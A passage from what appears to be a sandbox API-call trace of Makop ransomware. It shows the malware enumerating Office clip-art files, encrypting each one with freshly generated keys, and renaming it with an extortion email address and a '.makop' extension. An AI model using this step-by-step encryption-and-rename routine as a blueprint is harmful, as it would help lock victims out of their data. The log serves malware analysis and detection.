lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.090] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b29, lpOverlapped=0x0) returned 1 [0117.092] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30) returned 1 [0117.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b30, lpOverlapped=0x0) returned 1 [0117.093] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.093] SetEndOfFile (hFile=0xf0) returned 1 [0117.099] GetProcessHeap () returned 0x48a0000 [0117.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.100] GetProcessHeap () returned 0x48a0000 [0117.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.100] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.110] CloseHandle (hObject=0xf0) returned 1 [0117.110] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0117.111] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0117.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.112] GetProcessHeap () returned 0x48a0000 [0117.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.112] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.116] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.116] GetProcessHeap () returned 0x48a0000 [0117.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.116] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.116] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.118] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bf2, lpOverlapped=0x0) returned 1 [0117.119] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c00) returned 1 [0117.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c00, lpOverlapped=0x0) returned 1 [0117.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.120] SetEndOfFile (hFile=0xf0) returned 1 [0117.127] GetProcessHeap () returned 0x48a0000 [0117.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.127] GetProcessHeap () returned 0x48a0000 [0117.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.127] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.129] CloseHandle (hObject=0xf0) returned 1 [0117.129] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0117.129] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0117.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.130] GetProcessHeap () returned 0x48a0000 [0117.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.130] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.134] GetProcessHeap () returned 0x48a0000 [0117.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.135] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.135] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.136] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.136] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4cc8, lpOverlapped=0x0) returned 1 [0117.138] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cd0) returned 1 [0117.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4cd0, lpOverlapped=0x0) returned 1 [0117.139] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.139] SetEndOfFile (hFile=0xf0) returned 1 [0117.146] GetProcessHeap () returned 0x48a0000 [0117.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.146] GetProcessHeap () returned 0x48a0000 [0117.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.146] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.148] CloseHandle (hObject=0xf0) returned 1 [0117.148] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0117.148] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0117.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.148] GetProcessHeap () returned 0x48a0000 [0117.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.149] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0117.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.172] GetProcessHeap () returned 0x48a0000 [0117.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.172] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.173] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.173] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.174] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5754, lpOverlapped=0x0) returned 1 [0117.175] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5760, dwBufLen=0x5760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5760) returned 1 [0117.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5760, lpOverlapped=0x0) returned 1 [0117.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.177] SetEndOfFile (hFile=0xf0) returned 1 [0117.184] GetProcessHeap () returned 0x48a0000 [0117.184] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.185] GetProcessHeap () returned 0x48a0000 [0117.185] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.185] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.186] CloseHandle (hObject=0xf0) returned 1 [0117.186] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0117.186] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0117.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.189] GetProcessHeap () returned 0x48a0000 [0117.189] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.189] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0117.193] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.194] CryptSetKeyParam 